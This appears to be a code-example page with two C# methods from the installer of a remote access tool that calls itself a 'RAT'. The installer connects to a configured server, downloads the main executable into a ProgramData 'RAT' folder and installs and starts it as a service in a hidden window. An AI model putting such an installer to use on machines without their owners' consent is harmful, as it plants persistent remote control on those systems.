Пример #1
0
        static bool StartService()
        {
            try {
                ProcessStartInfo startInfo = new ProcessStartInfo();
                startInfo.WorkingDirectory       = InstallPath;
                startInfo.FileName               = InstallPath + "\\client.exe";
                startInfo.UseShellExecute        = false;
                startInfo.RedirectStandardOutput = true;
                startInfo.Arguments              = "--install";
                startInfo.WindowStyle            = ProcessWindowStyle.Hidden;

                ConsoleProgress.ShowMessage("Installing service");
                var p = Process.Start(startInfo);
                p.WaitForExit();
                ConsoleProgress.ShowMessageResult(p.ExitCode == 0);

                startInfo.Arguments = "--start";
                ConsoleProgress.ShowMessage("Starting service");
                p = Process.Start(startInfo);
                p.WaitForExit();
                ConsoleProgress.ShowMessageResult(p.ExitCode == 0);

                return(true);
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.Message);
                return(false);
            }
        }
Пример #2
0
        static void Main(string[] args)
        {
            if (Data.Ready != 1)
            {
                Console.WriteLine("This client is not created with ClientMaker, 1");
                return;
            }

            //Console.WriteLine(Data.Stringify());
            //return;

            InstallPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData), "RAT");

            if (!Directory.Exists(InstallPath))
            {
                Directory.CreateDirectory(InstallPath);
            }

            Console.WriteLine("Client installer v 1");
            Console.WriteLine($"Installing to {InstallPath}");

            ConsoleProgress.ShowMessage(String.Format("Connecting to {0}:{1}", Data.Server, Data.WebServerPort));
            bool cnok = TestConnection();

            ConsoleProgress.ShowMessageResult(cnok);

            if (!cnok)
            {
                Console.WriteLine("RAT server is not running!");
                return;
            }

            if (!DownloadMainExe())
            {
                Console.WriteLine("*Error*");
                return;
            }

            if (Data.CreateIniFile == 1)
            {
                File.WriteAllText(Path.Combine(InstallPath, "data.ini"),
                                  $@"[connection]
port={Data.NeuronPort}
server={Data.Server}
");
            }

            //SetInStartup(installPath);
            StartService();
            Console.WriteLine($"Successfully installed on path:\n\t {InstallPath}");
            Console.WriteLine("Finished");
            Console.ReadKey();
        }